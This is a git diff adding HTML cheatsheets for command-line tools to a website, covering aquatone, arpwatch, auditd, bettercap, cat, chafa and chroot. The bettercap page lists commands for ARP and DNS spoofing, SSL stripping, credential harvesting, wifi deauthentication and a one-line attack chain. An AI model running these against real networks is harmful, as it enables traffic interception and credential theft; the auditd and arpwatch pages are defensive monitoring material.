  • Use API keys in config for better results (SecurityTrails, Shodan, etc.)
  • +
+
    +
  • Start with passive enumeration to avoid detection
  • +
+
    +
  • Use -src to understand where data comes from
  • +
+
    +
  • Combine with other tools like subfinder for comprehensive coverage
  • +
+
    +
  • Use custom resolvers to avoid rate limiting
  • +
+
    +
  • The database persists data between runs for tracking
  • +
+
    +
  • Always get authorization before scanning targets you don't own
  • +
+
+

← Back to cheatsheets

+

← Home

+
+
+
+
+ + + + diff --git a/cheatsheets/aquatone.html b/cheatsheets/aquatone.html new file mode 100644 index 0000000..77a7168 --- /dev/null +++ b/cheatsheets/aquatone.html @@ -0,0 +1,209 @@ + + + + + + + + + + + aquatone Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

aquatone Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

Aquatone is a tool for visual inspection of websites across a large number of hosts. It takes screenshots of web pages and creates an HTML report for easy browsing and analysis.

+
+

Basic Usage

+
    +
  • cat hosts.txt | aquatone - Screenshot hosts from file
  • +
+
    +
  • echo "example.com" | aquatone - Screenshot single host
  • +
+
+

Input Methods

+
    +
  • Pipe hostnames/URLs via stdin
  • +
+
    +
  • One target per line
  • +
+
    +
  • Accepts hostnames, IPs, or full URLs
  • +
+
+

Options

+
    +
  • -out <dir> - Output directory (default: ./aquatone)
  • +
+
    +
  • -ports <ports> - Ports to scan (see below)
  • +
+
    +
  • -threads <num> - Concurrent threads (default: 8)
  • +
+
    +
  • -timeout <ms> - Screenshot timeout in ms (default: 30000)
  • +
+
    +
  • -http-timeout <ms> - HTTP request timeout (default: 10000)
  • +
+
    +
  • -scan-timeout <ms> - Port scan timeout (default: 3000)
  • +
+
    +
  • -screenshot-timeout <ms> - Screenshot timeout (default: 30000)
  • +
+
    +
  • -silent - Suppress output
  • +
+
    +
  • -nmap - Parse nmap XML file
  • +
+
    +
  • -chrome-path <path> - Path to Chrome/Chromium
  • +
+
    +
  • -proxy <url> - HTTP proxy
  • +
+
+

Port Presets

+
    +
  • -ports small - 80, 443
  • +
+
    +
  • -ports medium - 80, 443, 8000, 8080, 8443
  • +
+
    +
  • -ports large - 80, 81, 443, 591, 2082, 2087, 2095, 2096, 3000, 8000, 8001, 8008, 8080, 8083, 8443, 8834, 8888
  • +
+
    +
  • -ports xlarge - Extended list of common web ports
  • +
+
    +
  • -ports <custom> - Comma-separated list (e.g., 80,443,8080)
  • +
+
+

Output Files

+
    +
  • aquatone_report.html - Main HTML report
  • +
+
    +
  • aquatone_urls.txt - Discovered URLs
  • +
+
    +
  • aquatone_session.json - Session data
  • +
+
    +
  • headers/ - Response headers
  • +
+
    +
  • html/ - Response bodies
  • +
+
    +
  • screenshots/ - Screenshot images
  • +
+
+

Common Examples

+

Basic Screenshot

+
cat subdomains.txt | aquatone
+

Screenshot all subdomains.

+

Custom Output Directory

+
cat hosts.txt | aquatone -out ./results
+

Save to specific directory.

+

Extended Port Scan

+
cat hosts.txt | aquatone -ports large
+

Check more common web ports.

+

Custom Ports

+
cat hosts.txt | aquatone -ports 80,443,8080,8443
+

Specify exact ports to check.

+

Faster Scanning

+
cat hosts.txt | aquatone -threads 20
+

Increase concurrent threads.

+

With Nmap Results

+
cat nmap_scan.xml | aquatone -nmap
+

Parse nmap XML output for targets.

+

Pipeline with Subfinder

+
subfinder -d example.com -silent | aquatone
+

Combine with subdomain discovery.

+

Full Pipeline

+
subfinder -d example.com -silent | httpx -silent | aquatone
+

Discover, probe, and screenshot.

+

Through Proxy

+
cat hosts.txt | aquatone -proxy http://127.0.0.1:8080
+

Route through Burp Suite.

+
+

Tips

+
    +
  • Use httpx first to filter live hosts
  • +
+
    +
  • Increase threads for large target lists
  • +
+
    +
  • Use -ports large for thorough scanning
  • +
+
    +
  • Check the HTML report for visual analysis
  • +
+
    +
  • Screenshots help identify interesting targets
  • +
+
    +
  • Headers can reveal server info and security configs
  • +
+
    +
  • Requires Chrome/Chromium for screenshots
  • +
+
    +
  • Consider gowitness as an alternative
  • +
+
    +
  • Always get authorization before scanning
  • +
+
+

← Back to cheatsheets

+

← Home

+
+
+
+
+ + + + diff --git a/cheatsheets/arpwatch.html b/cheatsheets/arpwatch.html new file mode 100644 index 0000000..a37b94c --- /dev/null +++ b/cheatsheets/arpwatch.html @@ -0,0 +1,183 @@ + + + + + + + + + + + arpwatch Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

arpwatch Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

arpwatch monitors ARP (Address Resolution Protocol) traffic on a network and logs changes to the Ethernet/IP address pairings. Detects ARP spoofing, MAC address changes, and network anomalies.

+
+

Basic Usage

+
    +
  • arpwatch -i eth0 - Monitor interface
  • +
+
    +
  • arpwatch -d -i eth0 - Run in foreground (debug)
  • +
+
    +
  • arpwatch -f arp.dat -i eth0 - Use database file
  • +
+
    +
  • arpwatch -u arpwatch -i eth0 - Run as user
  • +
+
+

Options

+
    +
  • -i interface - Network interface to monitor
  • +
+
    +
  • -d - Debug mode (foreground)
  • +
+
    +
  • -f file - Database file (default: /var/lib/arpwatch/arp.dat)
  • +
+
    +
  • -u user - Run as user
  • +
+
    +
  • -n net/mask - Network specification
  • +
+
    +
  • -r file - Read from pcap file
  • +
+
    +
  • -m addr - Ignore MAC address
  • +
+
    +
  • -N - Suppress reporting of station flip flops
  • +
+
+

Database Files

+
    +
  • /var/lib/arpwatch/arp.dat - ARP database
  • +
+
    +
  • /var/lib/arpwatch/ethercodes.dat - Ethernet vendor codes
  • +
+
    +
  • arpwatch -f custom.dat -i eth0 - Custom database
  • +
+
+

Log Files

+
    +
  • /var/log/arpwatch.log - Activity log
  • +
+
    +
  • /var/log/syslog - System log (if configured)
  • +
+
    +
  • tail -f /var/log/arpwatch.log - Watch live
  • +
+
+

Common Examples

+

Monitor Interface

+
arpwatch -i eth0
+

Start monitoring on interface.

+

Debug Mode

+
arpwatch -d -i eth0
+

Run in foreground for debugging.

+

Custom Database

+
arpwatch -f /path/to/arp.dat -i eth0
+

Use custom database file.

+

Read from PCAP

+
arpwatch -r capture.pcap
+

Analyze captured traffic.

+

Ignore MAC

+
arpwatch -m 00:11:22:33:44:55 -i eth0
+

Ignore specific MAC address.

+

View Logs

+
tail -f /var/log/arpwatch.log
+

Monitor activity in real-time.

+
+

Detection Events

+
    +
  • New station - New MAC/IP pair detected
  • +
+
    +
  • Changed ethernet address - MAC changed for IP
  • +
+
    +
  • Flip flop - MAC address alternating
  • +
+
    +
  • Bogon - Invalid IP address
  • +
+
    +
  • Reused old ethernet address - MAC reappeared
  • +
+
+

Tips

+
    +
  • Run as daemon for continuous monitoring
  • +
+
    +
  • Check logs regularly for anomalies
  • +
+
    +
  • Use -d for initial setup and testing
  • +
+
    +
  • Monitor for MAC address changes (possible ARP spoofing)
  • +
+
    +
  • Essential for network security monitoring
  • +
+
    +
  • Detects ARP cache poisoning attacks
  • +
+
    +
  • Use with email alerts for critical changes
  • +
+
    +
  • Review database periodically
  • +
+
+
+
+
+ + + + + diff --git a/cheatsheets/auditd.html b/cheatsheets/auditd.html new file mode 100644 index 0000000..b3daed7 --- /dev/null +++ b/cheatsheets/auditd.html @@ -0,0 +1,399 @@ + + + + + + + + + + + auditd Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

auditd Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

auditd (Linux Audit Daemon) is the user-space component of the Linux Auditing System. It collects and stores audit records from the kernel, monitoring system calls and file access for security compliance and forensics.

+
+

Service Management

+
    +
  • systemctl start auditd - Start audit daemon
  • +
+
    +
  • systemctl stop auditd - Stop audit daemon
  • +
+
    +
  • systemctl restart auditd - Restart audit daemon
  • +
+
    +
  • systemctl status auditd - Check audit daemon status
  • +
+
    +
  • systemctl enable auditd - Enable audit daemon at boot
  • +
+
    +
  • auditctl -e 1 - Enable auditing
  • +
+
    +
  • auditctl -e 0 - Disable auditing
  • +
+
    +
  • auditctl -s - Show audit system status
  • +
+
+

Viewing Audit Logs

+
    +
  • ausearch -k - Search by key
  • +
+
    +
  • ausearch -m - Search by message type
  • +
+
    +
  • ausearch -ua - Search by user ID
  • +
+
    +
  • ausearch -ui - Search by effective user ID
  • +
+
    +
  • ausearch -x - Search by executable name
  • +
+
    +
  • ausearch -sc - Search by syscall
  • +
+
    +
  • ausearch -ts today - Search today's events
  • +
+
    +
  • ausearch -ts recent - Search recent events
  • +
+
    +
  • ausearch --start today --end now - Search time range
  • +
+
    +
  • aureport - Summary report of audit events
  • +
+
    +
  • aureport -au - Authentication report
  • +
+
    +
  • aureport -m - Account modifications report
  • +
+
    +
  • aureport -f - Failed file operations
  • +
+
    +
  • aureport --summary - Summary of all events
  • +
+
    +
  • ausearch -i - Interpret numeric entities (usernames, etc.)
  • +
+
    +
  • tail -f /var/log/audit/audit.log - Monitor audit log in real-time
  • +
+
+

Configuring Rules

+
    +
  • /etc/audit/rules.d/audit.rules - Permanent rule configuration file
  • +
+
    +
  • /etc/audit/auditd.conf - Audit daemon configuration
  • +
+
    +
  • auditctl -l - List current rules
  • +
+
    +
  • auditctl -D - Delete all rules
  • +
+
    +
  • service auditd restart - Reload rules from configuration files
  • +
+
+

File System Watch Rules

+

Watching Files

+
    +
  • auditctl -w /etc/passwd -p rwxa -k passwd_changes - Watch file (read, write, execute, attribute)
  • +
+
    +
  • auditctl -w /etc/shadow -p wa -k shadow_changes - Watch file (write, attribute)
  • +
+
    +
  • auditctl -w /etc/sudoers -p wa -k sudoers_changes - Watch sudoers file
  • +
+

Watching Directories

+
    +
  • auditctl -w /etc/ -p wa -k etc_changes - Watch directory
  • +
+
    +
  • auditctl -w /usr/bin/ -p x -k usr_bin_exec - Watch executable execution
  • +
+
    +
  • auditctl -w /var/log/ -p rwa -k log_access - Watch log directory
  • +
+

Watch Permissions

+
    +
  • -p r - Read operations
  • +
+
    +
  • -p w - Write operations
  • +
+
    +
  • -p x - Execute operations
  • +
+
    +
  • -p a - Attribute changes (permissions, ownership)
  • +
+
+

System Call Rules

+

Basic Syntax

+
    +
  • auditctl -a always,exit -S -F = -k - Rule format
  • +
+

Common System Calls

+
    +
  • auditctl -a always,exit -S chmod -F auid>=1000 -k file_permission_change
  • +
+
    +
  • auditctl -a always,exit -S chown -F auid>=1000 -k file_ownership_change
  • +
+
    +
  • auditctl -a always,exit -S unlink -F auid>=1000 -k file_deletion
  • +
+
    +
  • auditctl -a always,exit -S mount -k mount_operations
  • +
+
    +
  • auditctl -a always,exit -S setuid -k privilege_escalation
  • +
+
    +
  • auditctl -a always,exit -S setgid -k privilege_escalation
  • +
+

Rule Actions

+
    +
  • always - Always generate audit record
  • +
+
    +
  • never - Never generate audit record
  • +
+

Rule Lists

+
    +
  • task - Per-task list (applied on fork/clone)
  • +
+
    +
  • exit - Syscall exit list
  • +
+
    +
  • user - Per-user list
  • +
+
    +
  • exclude - Exclusion list
  • +
+
+

Filter Fields

+
    +
  • -F auid= - Audit user ID
  • +
+
    +
  • -F uid= - User ID
  • +
+
    +
  • -F gid= - Group ID
  • +
+
    +
  • -F euid= - Effective user ID
  • +
+
    +
  • -F pid= - Process ID
  • +
+
    +
  • -F ppid= - Parent process ID
  • +
+
    +
  • -F arch=b64 - 64-bit architecture
  • +
+
    +
  • -F arch=b32 - 32-bit architecture
  • +
+
    +
  • -F exit= - Exit value
  • +
+
    +
  • -F success!=0 - Failed operations only
  • +
+
    +
  • -F path= - File path
  • +
+
    +
  • -F perm= - File permissions (rwa)
  • +
+
+

Useful Rule Examples

+

Watch Critical System Files

+
# /etc/passwd
+auditctl -w /etc/passwd -p wa -k passwd_changes
+
+# /etc/shadow
+auditctl -w /etc/shadow -p wa -k shadow_changes
+
+# /etc/sudoers
+auditctl -w /etc/sudoers -p wa -k sudoers_changes
+
+# /etc/hosts
+auditctl -w /etc/hosts -p wa -k hosts_changes
+

Monitor Privilege Escalation

+
# Monitor setuid/setgid
+auditctl -a always,exit -S setuid -S setgid -F auid>=1000 -k privilege_change
+
+# Monitor sudo usage
+auditctl -w /usr/bin/sudo -p x -k sudo_execution
+auditctl -w /usr/bin/su -p x -k su_execution
+

Monitor Network Configuration

+
# Network config files
+auditctl -w /etc/network/ -p wa -k network_changes
+
+# Firewall rules
+auditctl -w /etc/iptables/ -p wa -k firewall_changes
+

Monitor User Management

+
# User/group changes
+auditctl -a always,exit -S useradd -S usermod -S userdel -k user_management
+auditctl -a always,exit -S groupadd -S groupmod -S groupdel -k group_management
+
+

Search Examples

+

Search by Key

+
ausearch -k passwd_changes -i
+

Search Failed Logins

+
ausearch -m LOGIN -sv no -i
+

Search File Access

+
ausearch -f /etc/shadow -i
+

Search by User

+
ausearch -ua 1000 -i
+

Search Today's Events

+
ausearch -ts today -i
+
+

Configuration Files

+

/etc/audit/auditd.conf

+
# Log file location
+log_file = /var/log/audit/audit.log
+
+# Log format (RAW or NOLOG)
+log_format = RAW
+
+# Maximum log file size (MB)
+max_log_file = 8
+
+# Action when disk is full
+space_left_action = email
+action_mail_acct = root
+admin_space_left_action = suspend
+disk_full_action = suspend
+
+# Number of log files to keep
+num_logs = 5
+

/etc/audit/rules.d/audit.rules

+
# Delete all existing rules
+-D
+
+# Buffer settings
+-b 8192
+
+# Failure mode (0=silent, 1=printk, 2=panic)
+-f 1
+
+# Make rules immutable (cannot be changed until reboot)
+-e 2
+
+# Watch critical files
+-w /etc/passwd -p wa -k passwd_changes
+-w /etc/shadow -p wa -k shadow_changes
+-w /etc/sudoers -p wa -k sudoers_changes
+
+

Tips

+
    +
  • Use meaningful keys (-k) for easier searching later
  • +
+
    +
  • Test rules with auditctl before adding to permanent config
  • +
+
    +
  • Monitor audit log size - rotate or truncate when needed
  • +
+
    +
  • Use -i flag with ausearch for human-readable output
  • +
+
    +
  • Filter by failed operations (-sv no) to find security issues
  • +
+
    +
  • Regularly review audit logs with aureport
  • +
+
    +
  • Set appropriate disk space limits to prevent log overflow
  • +
+
    +
  • Use immutable rules (-e 2) in production for security
  • +
+
    +
  • Watch executable directories to detect unauthorized binaries
  • +
+
    +
  • Monitor sudo/su usage to track privilege escalation
  • +
+
    +
  • Combine file watches with syscall rules for comprehensive monitoring
  • +
+
    +
  • Use keys to categorize events for easier analysis
  • +
+
    +
  • Check audit.log regularly to ensure auditing is working
  • +
+
    +
  • Use ausearch with time ranges for forensic investigations
  • +
+
    +
  • Archive old audit logs for compliance requirements
  • +
+
+

← Back to cheatsheets

+

← Home

+
+
+
+
+ + + + + diff --git a/cheatsheets/bettercap.html b/cheatsheets/bettercap.html new file mode 100644 index 0000000..585d7c6 --- /dev/null +++ b/cheatsheets/bettercap.html @@ -0,0 +1,315 @@ + + + + + + + + + + + bettercap Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

bettercap Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

bettercap is a powerful network attack and monitoring framework. It can perform ARP spoofing, DNS spoofing, credential harvesting, and various network attacks.

+
+

Starting bettercap

+
    +
  • bettercap - Start interactive session
  • +
+
    +
  • bettercap -iface <interface> - Specify network interface
  • +
+
    +
  • bettercap -eval "cmd1; cmd2" - Execute commands
  • +
+
    +
  • bettercap -caplet <file> - Load caplet file
  • +
+
    +
  • sudo bettercap - Start with root (required for most features)
  • +
+
+

Core Commands

+
    +
  • help - Show help
  • +
+
    +
  • help <module> - Help for specific module
  • +
+
    +
  • active - Show active modules
  • +
+
    +
  • info - Show session info
  • +
+
    +
  • version - Show version
  • +
+
    +
  • exit / quit - Exit bettercap
  • +
+
+

Network Discovery

+
    +
  • net.probe on - Start network discovery
  • +
+
    +
  • net.probe off - Stop network discovery
  • +
+
    +
  • net.show - Show discovered hosts
  • +
+
    +
  • net.recon on - Enable network recon
  • +
+
    +
  • net.recon off - Disable network recon
  • +
+
    +
  • set net.recon.sort true - Sort hosts by response time
  • +
+
+

ARP Spoofing

+
    +
  • arp.spoof on - Start ARP spoofing
  • +
+
    +
  • arp.spoof off - Stop ARP spoofing
  • +
+
    +
  • arp.spoof.internal true - Spoof internal traffic
  • +
+
    +
  • arp.spoof.targets <ip> - Set target IP
  • +
+
    +
  • arp.spoof.targets <ip1,ip2> - Set multiple targets
  • +
+
    +
  • arp.spoof.fullduplex true - Full duplex mode
  • +
+
    +
  • arp.ban on - Ban targets from network
  • +
+
    +
  • arp.ban off - Stop banning targets
  • +
+
+

DNS Spoofing

+
    +
  • dns.spoof on - Start DNS spoofing
  • +
+
    +
  • dns.spoof off - Stop DNS spoofing
  • +
+
    +
  • dns.spoof.hosts <domain> - Spoof specific domain
  • +
+
    +
  • dns.spoof.hosts "example.com->192.168.1.100" - Redirect domain to IP
  • +
+
    +
  • set dns.spoof.all true - Spoof all DNS queries
  • +
+
    +
  • set dns.spoof.domains "example.com,test.com" - Spoof multiple domains
  • +
+
+

HTTP/HTTPS Proxy

+
    +
  • http.proxy on - Start HTTP proxy
  • +
+
    +
  • http.proxy off - Stop HTTP proxy
  • +
+
    +
  • set http.proxy.port 8080 - Set proxy port (default 8080)
  • +
+
    +
  • set http.proxy.sslstrip true - Enable SSL strip
  • +
+
    +
  • https.proxy on - Start HTTPS proxy
  • +
+
    +
  • https.proxy off - Stop HTTPS proxy
  • +
+
    +
  • set https.proxy.port 8083 - Set HTTPS proxy port
  • +
+
    +
  • set https.proxy.sslpem /path/to/cert.pem - Set SSL certificate
  • +
+
+

Credential Harvesting

+
    +
  • http.server on - Start HTTP server
  • +
+
    +
  • set http.server.path /path/to/files - Set server path
  • +
+
    +
  • set http.server.port 80 - Set server port
  • +
+
    +
  • hstshijack/hstshijack - HTTPS downgrade attack
  • +
+
+

WiFi Operations

+
    +
  • wifi.recon on - Start WiFi reconnaissance
  • +
+
    +
  • wifi.recon off - Stop WiFi reconnaissance
  • +
+
    +
  • wifi.show - Show discovered access points
  • +
+
    +
  • wifi.deauth <ap> - Deauthenticate clients
  • +
+
    +
  • wifi.assoc <ap> - Associate with access point
  • +
+
+

Event Logging

+
    +
  • events.stream on - Start event stream
  • +
+
    +
  • events.stream off - Stop event stream
  • +
+
    +
  • events.show - Show captured events
  • +
+
    +
  • events.clear - Clear events
  • +
+
    +
  • events.ignore <filter> - Ignore events matching filter
  • +
+
    +
  • events.feed <file> - Feed events to file
  • +
+
+

Caplets

+
    +
  • caplets.update - Update caplets
  • +
+
    +
  • caplets.show - List available caplets
  • +
+
    +
  • caplet <name> - Load caplet
  • +
+
+

Common Examples

+

Basic ARP Spoofing

+
bettercap -iface eth0
+# In bettercap prompt:
+net.probe on
+arp.spoof on
+set arp.spoof.targets 192.168.1.100
+

DNS Spoofing

+
bettercap -iface eth0
+# In bettercap prompt:
+dns.spoof on
+set dns.spoof.hosts "example.com->192.168.1.100"
+

HTTP Proxy

+
bettercap -iface eth0
+# In bettercap prompt:
+http.proxy on
+set http.proxy.sslstrip true
+

WiFi Recon

+
bettercap -iface wlan0
+# In bettercap prompt:
+wifi.recon on
+wifi.show
+

Complete Attack Chain

+
bettercap -iface eth0 -eval "net.probe on; arp.spoof on; dns.spoof on; http.proxy on; https.proxy on"
+

Ban Target from Network

+
bettercap -iface eth0
+# In bettercap prompt:
+arp.ban on
+set arp.ban.targets 192.168.1.100
+

Load Caplet

+
bettercap -caplet caplets/http-ui.cap
+
+

Tips

+
    +
  • Always run bettercap with sudo for full functionality
  • +
+
    +
  • Use net.probe to discover hosts before attacks
  • +
+
    +
  • Combine ARP spoofing with HTTP proxy for traffic interception
  • +
+
    +
  • Use DNS spoofing to redirect domains to attacker-controlled servers
  • +
+
    +
  • Enable SSL strip to intercept HTTPS traffic (HTTP downgrade)
  • +
+
    +
  • Use caplets for common attack scenarios
  • +
+
    +
  • Check events stream for captured credentials and data
  • +
+
    +
  • Use arp.ban to effectively disconnect targets from network
  • +
+
    +
  • Always test on authorized networks only
  • +
+
    +
  • WiFi operations require monitor mode interface
  • +
+
+

← Back to cheatsheets

+

← Home

+
+
+
+
+ + + + + diff --git a/cheatsheets/cat.html b/cheatsheets/cat.html new file mode 100644 index 0000000..051a85a --- /dev/null +++ b/cheatsheets/cat.html @@ -0,0 +1,151 @@ + + + + + + + + + + + cat Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

cat Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

cat (concatenate) displays file contents to stdout. One of the most fundamental Unix commands for reading files, combining files, and creating files.

+
+

Basic Usage

+
    +
  • cat file.txt - Display file contents
  • +
+
    +
  • cat file1.txt file2.txt - Concatenate multiple files
  • +
+
    +
  • cat file.txt | less - Pipe to pager
  • +
+
    +
  • cat > newfile.txt - Create file (Ctrl+D to finish)
  • +
+
    +
  • cat >> file.txt - Append to file
  • +
+
+

Options

+
    +
  • -n - Number all output lines
  • +
+
    +
  • -b - Number non-blank lines
  • +
+
    +
  • -s - Squeeze blank lines
  • +
+
    +
  • -E - Show end of line with $
  • +
+
    +
  • -T - Show tabs as ^I
  • +
+
    +
  • -v - Show non-printing characters
  • +
+
    +
  • -A - Equivalent to -vET
  • +
+
+

Common Examples

+

Display File

+
cat file.txt
+

Show file contents.

+

Number Lines

+
cat -n file.txt
+

Display with line numbers.

+

Create File

+
cat > newfile.txt
+(type content)
+Ctrl+D
+

Create new file from stdin.

+

Append to File

+
cat >> file.txt
+(type content)
+Ctrl+D
+

Append content to file.

+

Concatenate Files

+
cat file1.txt file2.txt > combined.txt
+

Combine multiple files.

+

Show Non-Printing

+
cat -A file.txt
+

Show all characters including tabs and line endings.

+

Pipe to Other Commands

+
cat file.txt | grep pattern
+

Use cat in pipelines.

+
+

Tips

+
    +
  • Use -n to number lines for reference
  • +
+
    +
  • Use -A to debug file formatting issues
  • +
+
    +
  • Use > to create, >> to append
  • +
+
    +
  • Essential for file inspection
  • +
+
    +
  • Works great in pipelines
  • +
+
    +
  • Use less or more for large files
  • +
+
    +
  • One of the most basic Unix commands
  • +
+
    +
  • Perfect for quick file viewing
  • +
+
+
+
+
+ + + + + diff --git a/cheatsheets/chafa.html b/cheatsheets/chafa.html new file mode 100644 index 0000000..4f76404 --- /dev/null +++ b/cheatsheets/chafa.html @@ -0,0 +1,180 @@ + + + + + + + + + + + chafa Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

chafa Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

chafa is a terminal image viewer and converter. Converts images to ANSI art, Unicode blocks, or sixel graphics for display in terminals.

+
+

Basic Usage

+
    +
  • chafa <image> - Display image in terminal
  • +
+
    +
  • chafa -f <format> <image> - Specify output format
  • +
+
    +
  • chafa -s <size> <image> - Set output size
  • +
+
    +
  • chafa -c <colors> <image> - Set color mode
  • +
+
+

Output Formats

+
    +
  • chafa -f symbols <image> - Unicode symbols (default)
  • +
+
    +
  • chafa -f sixel <image> - Sixel graphics
  • +
+
    +
  • chafa -f kitty <image> - Kitty terminal protocol
  • +
+
    +
  • chafa -f iterm2 <image> - iTerm2 protocol
  • +
+
    +
  • chafa -f none <image> - No output (for testing)
  • +
+
+

Size Options

+
    +
  • chafa -s <width>x<height> <image> - Set dimensions
  • +
+
    +
  • chafa -s <size> <image> - Set size (width only, auto height)
  • +
+
    +
  • chafa -s auto <image> - Auto size based on terminal
  • +
+
    +
  • chafa -s max <image> - Maximum size
  • +
+
+

Color Options

+
    +
  • chafa -c 16 <image> - 16 colors
  • +
+
    +
  • chafa -c 256 <image> - 256 colors
  • +
+
    +
  • chafa -c full <image> - Full color (24-bit)
  • +
+
    +
  • chafa -c none <image> - No color (monochrome)
  • +
+
+

Display Options

+
    +
  • chafa --animate <image> - Animate GIF/APNG
  • +
+
    +
  • chafa --center <image> - Center image
  • +
+
    +
  • chafa --bg <color> <image> - Set background color
  • +
+
    +
  • chafa --fg <color> <image> - Set foreground color
  • +
+
    +
  • chafa --dither <mode> <image> - Set dithering mode
  • +
+
    +
  • chafa --threshold <value> <image> - Set threshold for symbols
  • +
+
+

Common Examples

+

Basic Display

+
chafa image.png
+

Display image in terminal.

+

Custom Size

+
chafa -s 80x40 image.png
+

Display at specific dimensions.

+

Sixel Format

+
chafa -f sixel image.png
+

Use sixel graphics format.

+

Full Color

+
chafa -c full -s 100 image.png
+

Full color at 100 width.

+

Animated GIF

+
chafa --animate animation.gif
+

Display animated GIF.

+

Monochrome

+
chafa -c none image.png
+

Display in monochrome.

+
+

Tips

+
    +
  • Use -s auto for automatic sizing based on terminal
  • +
+
    +
  • Use -c full for best color quality in modern terminals
  • +
+
    +
  • Use -f sixel for better quality in terminals that support it
  • +
+
    +
  • Use --animate to view animated images
  • +
+
    +
  • Works great with image previewers in file managers
  • +
+
    +
  • Can be piped to other commands for processing
  • +
+
    +
  • Supports many image formats: PNG, JPEG, GIF, WebP, etc.
  • +
+
+
+
+
+ + + + + diff --git a/cheatsheets/chroot.html b/cheatsheets/chroot.html new file mode 100644 index 0000000..c3ffc9f --- /dev/null +++ b/cheatsheets/chroot.html @@ -0,0 +1,309 @@ + + + + + + + + + + + chroot Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

chroot Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

chroot changes the apparent root directory for the current running process and its children. Used for system maintenance, creating isolated environments, and recovery operations.

+
+

Basic Usage

+
    +
  • chroot <newroot> <command> - Change root and run command
  • +
+
    +
  • chroot <newroot> /bin/sh - Change root and start shell
  • +
+
    +
  • chroot <newroot> /bin/bash - Change root and start bash
  • +
+
    +
  • chroot <newroot> /usr/bin/env sh - Change root with env path
  • +
+
+

Common Use Cases

+

System Recovery/Maintenance

+
# Boot from live CD/USB, mount root filesystem
+mount /dev/sda2 /mnt
+
+# Mount necessary filesystems
+mount --bind /dev /mnt/dev
+mount --bind /proc /mnt/proc
+mount --bind /sys /mnt/sys
+
+# Chroot into the system
+chroot /mnt /bin/bash
+

Testing/Debugging

+
# Chroot into a directory with minimal system
+chroot /path/to/root /bin/sh
+
+# Run specific command in chroot
+chroot /path/to/root /usr/bin/ls -la /
+
+

Required Setup Before chroot

+

Before using chroot, you typically need to:

+
    +
  1. Mount the target filesystem
  2. +
+
    +
  • * `mount /dev/sdaX /mnt` - Mount root partition
  • +
+
    +
  1. Mount essential virtual filesystems
  2. +
+
    +
  • * `mount --bind /dev /mnt/dev` - Bind device directory
  • +
+
    +
  • * `mount --bind /proc /mnt/proc` - Bind proc filesystem
  • +
+
    +
  • * `mount --bind /sys /mnt/sys` - Bind sys filesystem
  • +
+
    +
  • * `mount --bind /dev/pts /mnt/dev/pts` - Bind pseudo-terminals (optional)
  • +
+
    +
  • * `mount --tmpfs /mnt/run` - Mount tmpfs for /run (if needed)
  • +
+
    +
  1. Copy network configuration (if needed)
  2. +
+
    +
  • * `cp /etc/resolv.conf /mnt/etc/resolv.conf` - DNS resolution
  • +
+
    +
  1. Ensure shell and binaries exist in new root
  2. +
+
    +
  • * Check `/mnt/bin/sh`, `/mnt/bin/bash`, etc. exist
  • +
+
+

Mounting Essential Filesystems

+
    +
  • mount --bind /dev <newroot>/dev - Bind device directory
  • +
